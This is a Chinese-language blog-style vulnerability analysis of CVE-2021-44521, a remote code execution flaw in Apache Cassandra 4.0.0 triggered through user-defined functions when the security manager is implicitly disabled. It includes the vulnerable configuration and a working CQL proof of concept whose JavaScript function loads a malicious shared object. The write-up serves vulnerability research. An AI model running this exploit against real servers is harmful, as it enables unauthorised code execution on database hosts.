CVE-2021-44521 Apache Cassandra 載入UDF RCE
環境
Cassandra 4.0.0
漏洞分析
先說原理,enable_user_defined_functions_threads為false時會隱式禁用security-manager,導致可以通過udf執行java程式碼。
官方公告 https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40
使用以下配置
enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false
攻擊者有可能在主機上執行任意程式碼。搜了下文件, 發現有一個function的功能 。
使用者可以建立udf(使用者自定義函式)來執行自定義程式碼。
預設支援java或者javascript兩種。簡單看了下程式碼
org.apache.cassandra.cql3.functions.UDFunction#create 這個地方會建立對應的程式碼引擎,這兩個引擎都繼承自UDFunction,並且被設定了一個自定義的classloader: UDFunction.udfClassLoader
這個classloader找class時會進行過濾
secureResource函式定義如圖
會遍歷黑白名單,要求既要在白名單中並且不在黑名單中。
白名單
黑名單
可以用 java.lang.System.load('/tmp/aaa.so');
來載入惡意的so檔案達到執行命令的目的。
復現
CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3}; CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records'; CREATE OR REPLACE FUNCTION exec1(cmd text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$ java.lang.System.load('/tmp/aa.so'); $$; select test.exec1(cmd) from tab;
如果你一直報 java.security.AccessControlException: access denied
的異常
就是沒改conf/cassandra.yaml配置檔案,要加上這一行
so檔案怎麼生成參考園長的文章: https://www.javaweb.org/?p=1866
參考
- https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40
- https://cassandra.apache.org/doc/latest/cassandra/cql/functions.html
- https://tttang.com/archive/1436/
- 園長的文章
文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。
「其他文章」
- fastjson 1.2.80 漏洞分析
- Doop學習 part 1
- ByteCodeDL 學習
- CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass
- 從濫用HTTP hop by hop請求頭看CVE-2022-1388
- 解決哥斯拉記憶體馬pagecontext的問題
- CVE 2022 22947 SpringCloud GateWay SPEL RCE Echo Response
- CVE-2021-44521 Apache Cassandra 載入UDF RCE
- dotnet 反序列化的另外幾個gadget
- CVE-2021-45456 Apache Kylin 命令注入
- 使用C#開發IIS模組後門
- 使用serverless實現動態新增水印
- XXE到域控復現(基於資源的約束委派)
- Kerberos協議之基於資源的約束委派
- Kerberos協議之約束委派
- Kerberos協議之TGS_REQ & TGS_REP
- Kerberos協議之AS_REQ & AS_REP
- Windows網路認證NTLM&Net-NTLM Hash
- fastjson 1.2.68 bypass autotype
- Ysoserial JDK7u21